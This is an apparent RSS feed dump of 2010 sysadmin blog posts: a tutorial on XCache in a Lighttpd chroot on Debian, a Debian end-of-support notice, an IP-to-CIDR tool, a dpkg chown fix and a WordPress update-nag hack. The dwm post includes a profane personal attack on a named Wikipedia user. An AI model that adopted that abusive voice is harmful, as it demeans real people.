<blockquote><p>XCache is a fast, stable PHP opcode cacher that has been tested and is now running on production servers under high load. It is tested on linux and supported under Windows, for thread-safe and non-thread-safe versions of PHP. This relatively new opcode caching software has been developed by mOo, one of developers of <a href="http://www.lighttpd.net/" title="Lighttpd Official Site">Lighttpd</a>, to overcome some of the limitations of the existing solutions at that time; such as being able to use it with new PHP versions as they arrive.</p></blockquote>
<h3>Assumptions / Conditions</h3>
<p>This tutorial assumes Lighttpd (>= 1.4.23-3+b2) is already setup and running in a chroot environment with php5/fastcgi enabled and working. Also assumes a minimum of 64 megabytes of RAM is available. If you're looking for a Lighttpd chroot setup guide, I highly recommend <a href="http://www.cyberciti.biz/tips/howto-setup-lighttpd-php-mysql-chrooted-jail.html" title="Cybercity.biz Lighttpd PHP MySQL Chroot Jail Setup">this one</a>. </p>
<h3>Install XCache</h3>
<p>Login to your Debian server and obtain root (sudo, su, whatever) and run the following:</p>
<pre class="brush:bash">[184][vps ~]:# aptitude install php5-xcache</pre>
<p>Put XCache in the Lighttpd chroot:</p>
<pre class="brush:bash">
[185][vps ~]:# cp -avr /usr/share/xcache /chroot/usr/share/
[186][vps ~]:# cp -avr /usr/lib/php5/20060613+lfs/xcache.so /chroot/usr/lib/php5/20060613+lfs/
[187][vps ~]:# l2chroot /usr/lib/php5/20060613+lfs/xcache.so
[188][vps ~]:# cat /etc/php5/conf.d/xcache.ini > /chroot/etc/php5/conf.d/xcache.ini
[189][vps ~]:# vi /etc/lighttpd/lighttpd.conf
</pre>
<p>Create an alias to access the XCache Administration pages:</p>
<pre class="brush:bash">
$HTTP["host"] =~ "some-domain.tld" {
	alias.url = ( "/xcache-admin/" => "/usr/share/xcache/admin/" )
}
</pre>
<p>Save changes to lighttpd.conf and quit (:wq!). See <a href="http://www.cyberciti.biz/tips/howto-setup-lighttpd-php-mysql-chrooted-jail.html" title="l2chroot script">this page</a> for the l2chroot script. </p>
<h3>Setup XCache</h3>
<p>Generate a password using the "md5sum" command and create/edit xcache.ini settings file. </p>
<pre class="brush:bash">
[190][vps ~]:# echo -n "your_desired_password" | md5sum
c889e0b89df36eaa47f3a71675d1e9f4
[191][vps ~]:# vi /chroot/etc/php5/conf.d/xcache.ini
</pre>
<p>The following settings work for my purposes. You may need to consult the XCache docs and adjust according to your environment. Plenty of information out there - use the goog. </p>
<pre class="brush:bash">
[xcache-common]
extension = xcache.so

[xcache.admin]
xcache.admin.enable_auth = On
xcache.admin.user = "xcadmin"
xcache.admin.pass = "c889e0b89df36eaa47f3a71675d1e9f4"

[xcache]
xcache.shm_scheme = "mmap"
xcache.size = 96M
xcache.count = 8
xcache.slots = 8K
xcache.ttl = 0
xcache.gc_interval = 0
xcache.var_size = 16M
xcache.var_count = 1
xcache.var_slots = 8K
xcache.var_ttl = 0
xcache.var_maxttl = 0
xcache.var_gc_interval = 300
xcache.test = Off
xcache.readonly_protection = Off
xcache.mmap_path = "/dev/zero"
xcache.coredump_directory = ""
xcache.cacher = On
xcache.stat = On
xcache.optimizer = Off

[xcache.coverager]
xcache.coverager = Off
xcache.coveragedump_directory	= ""
</pre>
<h3>Finalize &#038; Test</h3>
<p>If a /chroot/dev/zero special device doesn't exist, go ahead and create one, now. Finally, restart Lighttpd and visit the XCache Administration page (the alias created above).</p>
<pre class="brush:bash">
[192][vps ~]:# mknod /chroot/dev/zero c 3 4
[193][vps ~]:# /etc/inti.d/lighttpd restart
</pre>
<p>A page resembling the screen-shot below should appear after logging in (click for full-size).</p>
<p align="center"><a rel="lightbox" href="http://static.nullamatix.com/content/uploads/2010/04/xcache_admin-ss.png"><img src="http://static.nullamatix.com/content/uploads/2010/04/xcache_admin-ss-300x164.png" alt="XCache 1.2.2 Administration Page" title="xcache_admin-ss" width="300" height="164" class="aligncenter size-medium image-1016" /></a></p>
<p>The Lighttpd wiki suggests setting 1 "max-procs" and several "PHP_FCGI_CHILDREN" in 10-fastcgi.conf. For some reason that particular setup only lasts 20 to 30 minutes before crashing. Here's the setup used at the time the screen-shot above was taken which happens to work for me (so-far). </p>
<pre class="brush:bash">
server.modules += ( "mod_fastcgi" )
fastcgi.server = ( ".php" => ((
	"bin-path" => "/usr/bin/php5-cgi",
	"socket" => "/var/tmp/lighttpd/php5-cgi.socket",
	"max-procs" => 2,
	"idle-timeout" => 20,
	"bin-environment" => (
		"PHP_FCGI_CHILDREN" => "5",
		"PHP_FCGI_MAX_REQUESTS" => "5000"
	),
	"bin-copy-environment" => ( "PATH", "SHELL", "USER" ),
	"broken-scriptfilename" => "enable"
)) )
</pre>
<p>Result is 2 parent php5-cgi processes with 5 children each:</p>
<pre class="brush:bash">
/usr/sbin/lighttpd -f /etc/lighttpd/lighttpd.conf
 \_ /usr/bin/php5-cgi
	 \_ /usr/bin/php5-cgi
	 \_ /usr/bin/php5-cgi
	 \_ /usr/bin/php5-cgi
	 \_ /usr/bin/php5-cgi
	 \_ /usr/bin/php5-cgi
 \_ /usr/bin/php5-cgi
	 \_ /usr/bin/php5-cgi
	 \_ /usr/bin/php5-cgi
	 \_ /usr/bin/php5-cgi
	 \_ /usr/bin/php5-cgi
	 \_ /usr/bin/php5-cgi
</pre>
<p>Enjoy! Comments are open... </p>
<h3>See Also:</h3><ul class="related_post"><li>12/10/2009 -- <a href="http://www.nullamatix.com/529-attacks-in-9-days-id1txt-rfi-more/" title="529 Attacks in 9 Days: id1.txt, RFI, &#038; More">529 Attacks in 9 Days: id1.txt, RFI, &#038; More</a><br /><strong>Excerpt</strong>: "Long time Nullamatix readers know how much I love reviewing log files. Logs can provide detailed incite into not only the overall health of a system, but information one can use to mitigate the risks of automated  attacks. In this post, I'll go over a couple ..."<br /></li><li>08/14/2009 -- <a href="http://www.nullamatix.com/tail-f-lighttpd-logs-with-style-color-using-sed/" title="Howto: Tail Lighttpd Logs with Style using Sed">Howto: Tail Lighttpd Logs with Style using Sed</a><br /><strong>Excerpt</strong>: "Although extremely useful, http server access logs are a mess in their raw form. If you're interested in watching your http server logs in real time with formatting rules and pretty colors, this post is for you. 
Teh Scr1pt
Create a new file to put the l33t ..."<br /></li><li>01/10/2010 -- <a href="http://www.nullamatix.com/solution-chown-invalid-user-www-datawww-data/" title="Solution: chown: invalid user: www-data:www-data">Solution: chown: invalid user: www-data:www-data</a><br /><strong>Excerpt</strong>: "Ran into this issue after getting rid of the www-data user and group. The solution is simple and doesn't involve adding the account/group, assuming the objective is to run Lighttpd as a different user (not www-data). If the intention is to run Lighttpd with ..."<br /></li><li>08/31/2009 -- <a href="http://www.nullamatix.com/howto-insert-bash-command-output-into-mysql/" title="Howto: Insert Bash Command Output Into MySQL">Howto: Insert Bash Command Output Into MySQL</a><br /><strong>Excerpt</strong>: "A BlogStorm reader emailed me today, 
Hello,

I am replying to your post on http://www.blogstorm.co.uk/how-to-scrape-pages-with-coldfusion/

Wanted to see your experience in page scraping, may need your help on a project. HOw much did you do beyond the ..."<br /></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.nullamatix.com/howto-xcache-in-a-lighttpd-chroot-on-debian/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DWM on Wikipedia Marked For Deletion</title>
		<link>http://www.nullamatix.com/dwm-on-wikipedia-marked-for-deletion/</link>
		<comments>http://www.nullamatix.com/dwm-on-wikipedia-marked-for-deletion/#comments</comments>
		<pubDate>Thu, 25 Feb 2010 13:36:05 +0000</pubDate>
		<dc:creator>Guy Patterson</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Off-topic]]></category>
		<category><![CDATA[dwm]]></category>
		<category><![CDATA[suckless]]></category>
		<category><![CDATA[wikipedia]]></category>

		<guid isPermaLink="false">http://www.nullamatix.com/?p=997</guid>
		<description><![CDATA[Anselm, the "inventor of dwm" shared this information with the suckless mailing list yesterday. Apparently, Wikipedia has flagged the dwm (dynamic window manager from suckless.org) article for deletion. Anselm says he's neutral and shared his thoughts on the Wikipedia Page, but what does this say about Wikipedia? A community built on free and open source [...]]]></description>
			<content:encoded><![CDATA[<p>Anselm, the "inventor of dwm" shared this information with the <a href="http://suckless.org/" rel="external">suckless</a> mailing list yesterday. Apparently, Wikipedia has flagged the dwm (dynamic window manager from suckless.org) article for deletion. Anselm says he's neutral and shared his thoughts on the <a href="http://en.wikipedia.org/wiki/Wikipedia:Articles_for_deletion/Dwm#Dwm" rel="nofollow external">Wikipedia Page</a>, but what does this say about Wikipedia? A community built on free and open source software that promotes a free and "open" encyclopedia is now purging FOSS pages? Why, because Microsoft.com doesn't have anything to say about dwm? </p>
<p><span id="more-997"></span></p>
<p>From the dev.suckless.org mailing list, </p>
<blockquote><p>
From: Thayer Williams<br />
Date: Wed, 24 Feb 2010 08:10:56 -0800</p>
<p>On Wed, Feb 24, 2010 at 1:25 AM, Jason Ryan <jasonwryan_AT_gmail.com> wrote:<br />
> It points to a deficiency in the way Wikipedia views notability: it is quite<br />
> at odds with the notion of influence and derivation that powers free and<br />
> open source software...</p>
<p>Agreed. I said as much too. Under the current Wikipedia guidelines,<br />
the vast majority of FOSS (and some proprietary) articles should be<br />
deleted. It's unfortunate and more than little ironic that a<br />
community-based 'open' encyclopedia would undermine the exposure of<br />
other community-oriented projects.
</p></blockquote>
<p>My hero and dependable source of entertainment for the day, Uriel, replied back with:</p>
<blockquote><p>
From: Uriel<br />
Date: Wed, 24 Feb 2010 20:42:03 +0100</p>
<p>The only thing that matters in wikipedia is your bureaucratic skills. You Germans should be able to master it!</p>
<p>uriel
</p></blockquote>
<p>Good job, Wikipedia. If you guys are going to start purging GNU/FOSS related pages, why don't you go ahead and sign an advertising contract with Microsoft? dwm is one of the few window managers worth using and because dwm is "possibly non-notable" and lacking third-party sources (for what?), "the article clearly fails Wikipedia:Notability." Wikipedia has become a money hungry community that seems to have lost focus, especially when pages are up for deletion because, </p>
<blockquote><p>I can't find anything myself via Google, though perhaps someone with better Google-fu can turn something up.</p></blockquote>
<p>So let me get this straight: no Google = non-notable = no Wikipedia page. Wikipedia, you'll never see a dime from me you greedy corporate sell out whores. You beg your users for money and purge pages that lack corporate sponsorship? Next time you're looking for hand-outs, hit your big rich corporate buddies up. Wikipedia user "Psychonaut" - eat sh-t and live you nosy, racist, biased, deceptive prick. Seriously.</p>
<p>Relevant Links:</p>
<ul>
<li><a href="http://jasonwryan.com/post/409379904/wikipedia" rel="external">http://jasonwryan.com/post/409379904/wikipedia</a></li>
<li><a href="http://dwm.suckless.org/" rel="external">http://dwm.suckless.org/</a></li>
<li><a href="http://en.wikipedia.org/wiki/Wikipedia:Articles_for_deletion/Dwm#Dwm" rel="nofollow external">http://en.wikipedia.org/wiki/Wikipedia:Articles_for_deletion/Dwm#Dwm</a></li>
<li><a href="http://lists.suckless.org/dev/1002/index.html" rel="external">http://lists.suckless.org/dev/1002/index.html</a></li>
</ul>
<h3>See Also:</h3><ul class="related_post"><li>07/31/2009 -- <a href="http://www.nullamatix.com/dwm-configh-windows-key-l-howto-lock-your-screen/" title="Howto: Lock Your Screen in dwm with WindowsKey+L">Howto: Lock Your Screen in dwm with WindowsKey+L</a><br /><strong>Excerpt</strong>: "A couple months ago I gave up all those fancy buttons, panels, widgets, icons, and other miscellaneous crap that make using a computer annoying, for a more simplistic approach. The dynamic window manager from suckless provides anything the casual web surfer ..."<br /></li><li>12/09/2007 -- <a href="http://www.nullamatix.com/wikipedia-germany-contains-too-much-nazi-symbolism/" title="Wikipedia Germany Contains Too Much Nazi Symbolism">Wikipedia Germany Contains Too Much Nazi Symbolism</a><br /><strong>Excerpt</strong>: "Katina Schubert, a high official in the German's Left Party, informed reporters that she's filed charges with the Berlin Police against Wikipedia. Her highly opinionated claim is that Wikipedia's German site has too much Nazi symbolism and excessive amounts ..."<br /></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.nullamatix.com/dwm-on-wikipedia-marked-for-deletion/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Discontinued Security Support for Debian 4.0</title>
		<link>http://www.nullamatix.com/discontinued-security-support-debian-etch/</link>
		<comments>http://www.nullamatix.com/discontinued-security-support-debian-etch/#comments</comments>
		<pubDate>Thu, 21 Jan 2010 10:33:36 +0000</pubDate>
		<dc:creator>Guy Patterson</dc:creator>
				<category><![CDATA[Debian]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Patches]]></category>

		<guid isPermaLink="false">http://www.nullamatix.com/?p=979</guid>
		<description><![CDATA[ One year after the release of Debian GNU/Linux 5.0 alias 'lenny' and nearly three years after the release of Debian GNU/Linux 4.0 alias 'etch' the security support for the old distribution (4.0 alias 'etch') is coming to an end next month. The Debian project is proud to be able to support its old distribution [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://static.nullamatix.com/content/uploads/2010/01/openlogo-75.png" alt="Debian Linux Logo" title="debian-linux-logo" width="75" height="85" class="alignleft size-full image-978" /> One year after the release of Debian GNU/Linux 5.0 alias 'lenny' and nearly three years after the release of Debian GNU/Linux 4.0 alias 'etch' the security support for the old distribution (4.0 alias 'etch') is coming to an end next month. The Debian project is proud to be able to support its old distribution for such a long time and even for one year after a new version has been released.</p>
<p><span id="more-979"></span></p>
<h2>Debian Security Advisory DSA-1975-1</h2>
<p><strong>Security Support for Debian GNU/Linux 4.0 to be discontinued on February 15th</strong></p>
<p>http://www.debian.org/security/ - Stefan Fritsch - January 20, 2010 </p>
<p>The Debian project has released Debian GNU/Linux 5.0 alias 'lenny' on the 14th of February 2009. Users and Distributors have been given a one-year timeframe to upgrade their old installations to the current stable release. Hence, the security support for the old release of 4.0 is going to end in February 2010 as previously announced. Previously announced security updates for the old release will continue to be available on security.debian.org.</p>
<h2>Security Updates for Lenny</h2>
<p>The Debian Security Team provides security updates for the current distribution via <http://security.debian.org/>. Security updates for the old distribution are also provided for one year after the new distribution has been released or until the current distribution is superseded, whatever happens first.</p>
<p><strong>For apt-get:</strong> deb http://security.debian.org/ stable/updates main<br />
<strong>For dpkg-ftp:</strong> ftp://security.debian.org/debian-security dists/stable/updates/main<br />
<strong>Mailing list:</strong> debian-security-announce@lists.debian.org<br />
<strong>Package info:</strong> apt-cache show
<pkg> and http://packages.debian.org/
<pkg>
<h3>See Also:</h3><ul class="related_post"><li>10/01/2010 -- <a href="http://www.nullamatix.com/disable-ipv6-the-right-debian-way/" title="Disable IPv6 The Right (Debian) Way">Disable IPv6 The Right (Debian) Way</a><br /><strong>Excerpt</strong>: "IPv4 has been in place for around 30 years now and is still a testament to human ingenuity. Unfortunately, IPv4 is limited to approximately 4.3 billion addresses, 0.0.0.0 - 255.255.255.255. As more cities in more countries get connected to the Internet, the ..."<br /></li><li>08/30/2010 -- <a href="http://www.nullamatix.com/comment-posting-issue-since-july-24th/" title="Comment Posting Issue and Other Misc.">Comment Posting Issue and Other Misc.</a><br /><strong>Excerpt</strong>: "Unfortunately, if you've posted a comment to a Nullamatix.com post between July 24th and August 29th, they weren't submitted to the queue for approval. This was due to a php.ini setting modification in an effort to enhance security. My apologies if anyone ..."<br /></li><li>04/11/2010 -- <a href="http://www.nullamatix.com/howto-xcache-in-a-lighttpd-chroot-on-debian/" title="Howto: XCache in a Lighttpd Chroot on Debian">Howto: XCache in a Lighttpd Chroot on Debian</a><br /><strong>Excerpt</strong>: "Whether you're pressed for resources on a virtual/dedicated server, or simply looking for ways to improve web application performance, XCache is guaranteed to produce the desired result. Within minutes of installing XCache: page load times were cut in half, ..."<br /></li><li>01/10/2010 -- <a href="http://www.nullamatix.com/solution-chown-invalid-user-www-datawww-data/" title="Solution: chown: invalid user: www-data:www-data">Solution: chown: invalid user: www-data:www-data</a><br /><strong>Excerpt</strong>: "Ran into this issue after getting rid of the www-data user and group. The solution is simple and doesn't involve adding the account/group, assuming the objective is to run Lighttpd as a different user (not www-data). If the intention is to run Lighttpd with ..."<br /></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.nullamatix.com/discontinued-security-support-debian-etch/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New Tool: IP Range to CIDR</title>
		<link>http://www.nullamatix.com/new-tool-ip-range-to-cidr/</link>
		<comments>http://www.nullamatix.com/new-tool-ip-range-to-cidr/#comments</comments>
		<pubDate>Sun, 17 Jan 2010 21:16:43 +0000</pubDate>
		<dc:creator>Guy Patterson</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[cidr]]></category>
		<category><![CDATA[iptables]]></category>
		<category><![CDATA[null route]]></category>
		<category><![CDATA[perl]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[tcp/ip]]></category>
		<category><![CDATA[tool]]></category>

		<guid isPermaLink="false">http://www.nullamatix.com/?p=961</guid>
		<description><![CDATA[ At least twice a week I find myself visiting ip2cidr.com, the IP to CIDR converter. Since the owner/author of the site hasn't release the source code, and I love a challenge, I developed my own version. The guys at the job find the tool useful, and after a few minor bug fixes, I've made [...]]]></description>
			<content:encoded><![CDATA[<p><a href="/content/uploads/2010/01/nulla-iprange-2-cidr.png" title="screenshot ip range 2 cidr" rel="lightbox"><img src="http://static.nullamatix.com/content/uploads/2010/01/nulla-iprange-2-cidr.png" alt="IP Range to CIDR Screen Shot" title="nulla-iprange-2-cidr" width="160" height="80" class="alignleft size-full image-962" /></a> At least twice a week I find myself visiting ip2cidr.com, the IP to <a href="http://www.nullamatix.com/various-tools/ip-range-to-cidr/" title="IP Range to CIDR Converter">CIDR converter</a>. Since the owner/author of the site hasn't release the source code, and I love a challenge, I developed my own version. The guys at the job find the tool useful, and after a few minor bug fixes, I've made the <a href="http://www.nullamatix.com/various-tools/ip-range-to-cidr/">IP Range to CIDR tool</a> available for use here at Nullamatix.com.</p>
<p><span id="more-961"></span></p>
<h2>Using IP to CIDR</h2>
<p>The tool is very easy to use. The first text input field is the first IP address or start of the range. The second text input field is the second IP address or end of the range. For instance, supplying 172.0.0.0 in the first field and 192.168.255.255 in the second field will produce: </p>
<pre class="brush:bash wrap-lines:false">
192.0.0.0/9
192.128.0.0/11
192.160.0.0/13
192.168.0.0/16
172.0.0.0/6
176.0.0.0/4
</pre>
<p>172.16.0.0 and 172.17.255.255 will produce: </p>
<pre class="brush:bash wrap-lines:false">
172.16.0.0/15
</pre>
<p>I'll eventually implement on-the-fly htaccess, null route, and iptables policy generation. </p>
<h2>IPtables Drop Policies</h2>
<p>In addition to the new IP Range to CIDR tool, I've also added drop lists for <a href="http://www.nullamatix.com/various-tools/iptables-drop-theplanet/">ThePlanet</a>, <a href="http://www.nullamatix.com/various-tools/iptables-drop-softlayer/">Softlayer</a>, <a href="http://www.nullamatix.com/various-tools/iptables-drop-apnic-asia-pacific/">APNIC</a>, and <a href="http://www.nullamatix.com/various-tools/iptables-drop-amazon-aws/">Amazon</a>, courtesy of robtex.com. While looking over firewall and httpd access logs, malicious attacks and comment spam seem to originate from these sources the most. If there's a network or company you'd like me to add, just submit a comment to this post.</p>
<h3>See Also:</h3><ul class="related_post"><li>11/22/2009 -- <a href="http://www.nullamatix.com/count-total-number-of-ips-from-cidr-notation/" title="Count the Total Number of IPs From CIDR">Count the Total Number of IPs From CIDR</a><br /><strong>Excerpt</strong>: "After adding a few IPs to a firewall drop list, I wondered, "exactly how many IPs are in this drop list?" Since the list contained 187 entries, all in CIDR notation, adding up the total number of IPs in my head was impossible. So, I put together this little ..."<br /></li><li>12/28/2009 -- <a href="http://www.nullamatix.com/invalid-packets-from-dod/" title="Invalid Packets From the DoD">Invalid Packets From the DoD</a><br /><strong>Excerpt</strong>: "The firewall policies on Nullamatix.com DROP invalid connection attempts. Specifically, if an attempt to start a new tcp connection is not a syn packet, the packet is rejected. This morning I noticed a few dropped connection attempts from an unusual source, ..."<br /></li><li>05/13/2009 -- <a href="http://www.nullamatix.com/iptables-drop-log-for-051209/" title="IPTables Drop Log For 05.12.09">IPTables Drop Log For 05.12.09</a><br /><strong>Excerpt</strong>: "The Internet; so magical and dangerous, getting connected is a risk we're all willing to take. Whether you're infiltrating some moron's botnet, or just surfing the web, the possibility of becoming a victim in a cyber attack is real. Everyday, without fail, ..."<br /></li><li>01/22/2008 -- <a href="http://www.nullamatix.com/301-redirect-codes-for-php-asp-coldfusion-and-more/" title="301 Redirect Codes For PHP, ASP, Coldfusion, and More">301 Redirect Codes For PHP, ASP, Coldfusion, and More</a><br /><strong>Excerpt</strong>: "301 is an HTTP status code that basically instructs search engines and browsers that a page has moved, permanently. If you've changed a file name, domain, folder path, whatever, a 301 redirect will update the search engines. This ensures your content remains ..."<br /></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.nullamatix.com/new-tool-ip-range-to-cidr/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Solution: chown: invalid user: www-data:www-data</title>
		<link>http://www.nullamatix.com/solution-chown-invalid-user-www-datawww-data/</link>
		<comments>http://www.nullamatix.com/solution-chown-invalid-user-www-datawww-data/#comments</comments>
		<pubDate>Sun, 10 Jan 2010 20:35:48 +0000</pubDate>
		<dc:creator>Guy Patterson</dc:creator>
				<category><![CDATA[Debian]]></category>
		<category><![CDATA[daemon]]></category>
		<category><![CDATA[http]]></category>
		<category><![CDATA[Lighttpd]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.nullamatix.com/?p=936</guid>
		<description><![CDATA[ Ran into this issue after getting rid of the www-data user and group. The solution is simple and doesn't involve adding the account/group, assuming the objective is to run Lighttpd as a different user (not www-data). If the intention is to run Lighttpd with the www-data account, simply add the account. Otherwise, keep reading... [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://static.nullamatix.com/content/uploads/2010/01/light_logo_170px.png" alt="light_logo_170px" title="light_logo_170px" width="90" height="90" class="alignleft image-939" /> Ran into this issue after getting rid of the www-data user and group. The solution is simple and doesn't involve adding the account/group, assuming the objective is to run Lighttpd as a different user (not www-data). If the intention <strong><em>is</em></strong> to run Lighttpd with the www-data account, simply add the account. Otherwise, keep reading... </p>
<p><span id="more-936"></span></p>
<h2>The Issue</h2>
<pre class="brush: bash wrap-lines:false">
[599][nullamatix ~]:# aptitude install package-x
Reading package lists... Done
Building dependency tree
Reading state information... Done
Reading extended state information
Initializing package states... Done
Reading task descriptions... Done
The following NEW packages will be installed:
  package-x
The following partially installed packages will be configured:
  lighttpd lighttpd-mod-magnet
0 packages upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 220kB of archives. After unpacking 1028kB will be used.
Writing extended state information... Done
Get:1 http://ftp.us.debian.org lenny/main package-x [220kB]
Fetched 220kB in 0s (446kB/s)
Preconfiguring packages ...
Selecting previously deselected package package-x.
(Reading database ... 23009 files and directories currently installed.)
Unpacking package-x (from .../package-x_i386.deb) ...
Processing triggers for man-db ...
Setting up lighttpd (1.4.25-1) ...
chown: invalid user: `www-data:www-data'
dpkg: error processing lighttpd (--configure):
 subprocess post-installation script returned error exit status 1
dpkg: dependency problems prevent configuration of lighttpd-mod-magnet:
 lighttpd-mod-magnet depends on lighttpd (= 1.4.25-1); however:
  Package lighttpd is not configured yet.
dpkg: error processing lighttpd-mod-magnet (--configure):
 dependency problems - leaving unconfigured
Setting up package-x (lenny3) ...
Adding group `package-x' (GID 119) ...
Done.
Adding system user `package-x' (UID 117) ...
Adding new user `package-x' (UID 117) with group `package-x' ...
Not creating home directory `/var/run/package-x.
Starting package-x: package-x.
Errors were encountered while processing:
 lighttpd
 lighttpd-mod-magnet
E: Sub-process /usr/bin/dpkg returned an error code (1)
A package failed to install.  Trying to recover:
Setting up lighttpd (1.4.25-1) ...
chown: invalid user: `www-data:www-data'
dpkg: error processing lighttpd (--configure):
 subprocess post-installation script returned error exit status 1
dpkg: dependency problems prevent configuration of lighttpd-mod-magnet:
 lighttpd-mod-magnet depends on lighttpd (= 1.4.25-1); however:
  Package lighttpd is not configured yet.
dpkg: error processing lighttpd-mod-magnet (--configure):
 dependency problems - leaving unconfigured
Errors were encountered while processing:
 lighttpd
 lighttpd-mod-magnet
Reading package lists... Done
Building dependency tree
Reading state information... Done
Reading extended state information
Initializing package states... Done
Writing extended state information... Done
Reading task descriptions... Done         

[600][nullamatix ~]:#
</pre>
<h2>The Solution</h2>
<p>Open the Lighttpd postint file and replace www-data with the correct username:group. </p>
<pre class="brush:bash wrap-lines:false">
[600][nullamatix ~]:# /var/lib/dpkg/info/lighttpd.postinst
</pre>
<p>There were 2 lines for this particular instance:</p>
<pre class="brush:bash wrap-lines:false">
# old original
# chown www-data:www-data /var/log/lighttpd /var/run/lighttpd
# chown www-data:www-data /var/cache/lighttpd /var/cache/lighttpd/compress /var/cache/lighttpd/uploads

# new replacement
chown custom-user:custom-group /var/log/lighttpd /var/run/lighttpd
chown custom-user:custom-group /var/cache/lighttpd /var/cache/lighttpd/compress /var/cache/lighttpd/uploads
</pre>
<p>Save the changes and exit. Now, assuming custom-user and custom-group exist, tell dpkg to reconfigure the packages. The -a flag tells dpkg to reconfigure, "<em>all unpacked but unconfigured packages</em>."</p>
<pre class="brush:bash wrap-lines:false">
[601][nullamatix ~]:# dpkg --configure -a
Setting up lighttpd (1.4.25-1) ...
Starting web server: lighttpd.
Setting up lighttpd-mod-magnet (1.4.25-1) ...
[602][nullamatix ~]:#
</pre>
<p>That's it, problem solved... </p>
<h3>See Also:</h3><ul class="related_post"><li>04/11/2010 -- <a href="http://www.nullamatix.com/howto-xcache-in-a-lighttpd-chroot-on-debian/" title="Howto: XCache in a Lighttpd Chroot on Debian">Howto: XCache in a Lighttpd Chroot on Debian</a><br /><strong>Excerpt</strong>: "Whether you're pressed for resources on a virtual/dedicated server, or simply looking for ways to improve web application performance, XCache is guaranteed to produce the desired result. Within minutes of installing XCache: page load times were cut in half, ..."<br /></li><li>12/10/2009 -- <a href="http://www.nullamatix.com/529-attacks-in-9-days-id1txt-rfi-more/" title="529 Attacks in 9 Days: id1.txt, RFI, &#038; More">529 Attacks in 9 Days: id1.txt, RFI, &#038; More</a><br /><strong>Excerpt</strong>: "Long time Nullamatix readers know how much I love reviewing log files. Logs can provide detailed incite into not only the overall health of a system, but information one can use to mitigate the risks of automated  attacks. In this post, I'll go over a couple ..."<br /></li><li>08/14/2009 -- <a href="http://www.nullamatix.com/tail-f-lighttpd-logs-with-style-color-using-sed/" title="Howto: Tail Lighttpd Logs with Style using Sed">Howto: Tail Lighttpd Logs with Style using Sed</a><br /><strong>Excerpt</strong>: "Although extremely useful, http server access logs are a mess in their raw form. If you're interested in watching your http server logs in real time with formatting rules and pretty colors, this post is for you. 
Teh Scr1pt
Create a new file to put the l33t ..."<br /></li><li>02/11/2008 -- <a href="http://www.nullamatix.com/howto-setup-cron-jobs-to-restart-lighttpd-mysql/" title="Howto: Setup cron Jobs to Restart Lighttpd &#038; MySQL">Howto: Setup cron Jobs to Restart Lighttpd &#038; MySQL</a><br /><strong>Excerpt</strong>: "Over the past couple weeks MySQL crashed when spiked with large amounts of traffic. To remedy this, a cron job has been implemented to simply restart mysql and lighttpd every other day. Here's how it's done.

First, if you haven't already, define a cron job ..."<br /></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.nullamatix.com/solution-chown-invalid-user-www-datawww-data/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hide WordPress Update Nag Without a Plugin</title>
		<link>http://www.nullamatix.com/hide-wordpress-update-nag-without-a-plugin/</link>
		<comments>http://www.nullamatix.com/hide-wordpress-update-nag-without-a-plugin/#comments</comments>
		<pubDate>Thu, 07 Jan 2010 00:28:04 +0000</pubDate>
		<dc:creator>Guy Patterson</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[wp-admin]]></category>

		<guid isPermaLink="false">http://www.nullamatix.com/?p=921</guid>
		<description><![CDATA[For those who don't know, WordPress 2.9.1 was released a couple days ago. As a result, the "WordPress 2.9.1 is available! Please update now." nag is plastered at the top of the admin interface. Since installing yet another unnecessary WordPress plug-in for something so simple seems pointless, I came up with a quick and easy [...]]]></description>
			<content:encoded><![CDATA[<p>For those who don't know, WordPress 2.9.1 was <a href="http://wordpress.org/development/2010/01/wordpress-2-9-1/">released a couple days ago</a>. As a result, the "WordPress 2.9.1 is available! Please update now." nag is plastered at the top of the admin interface. Since installing yet another unnecessary WordPress plug-in for something so simple seems pointless, I came up with a quick and easy to implement WordPress hack. Don't even bother continuing unless you're comfortable editing a core WordPress file.<span id="more-921"></span></p>
<h2>Locating the "hook"</h2>
<pre class="brush:bash wrap-lines:false">
[874][nullamatix.com http]:# grep -lir 'update_nag' wp-admin/
wp-admin/includes/update.php
[875][nullamatix.com http]:# vim wp-admin/includes/update.php
</pre>
<h2>Removing the "hook"</h2>
<p>Once update.php is open, find this line (around 135 or so): </p>
<pre class="brush:php wrap-lines:false">
add_action( 'admin_notices', 'update_nag', 3 );
</pre>
<p>Then, just make the line a comment; either of the following will work:</p>
<pre class="brush:php wrap-lines:false">
// add_action( 'admin_notices', 'update_nag', 3 );
/* add_action( 'admin_notices', 'update_nag', 3 ); */
</pre>
<p>Save the changes and check out the admin panel. Ta-da, no more WordPress update nag and we didn't even have to worry about some silly plug-in... </p>
<h2>Wat? No Updates?</h2>
<p>Wrong. There are still a number of ways to tell whether or not WordPress needs an update. Here are a few:</p>
<ul>
<li>Check the footer of the admin interface (Get Version 2.9.1)</li>
<li>Check the "Right Now" box in the admin dashboard</li>
<li>Subscribe to the WordPress <a href="http://wordpress.org/development/category/releases/feed/" rel="nofollow">"Releases" category RSS feed</a></li>
</ul>
<h2>WordPress Security Updates Only</h2>
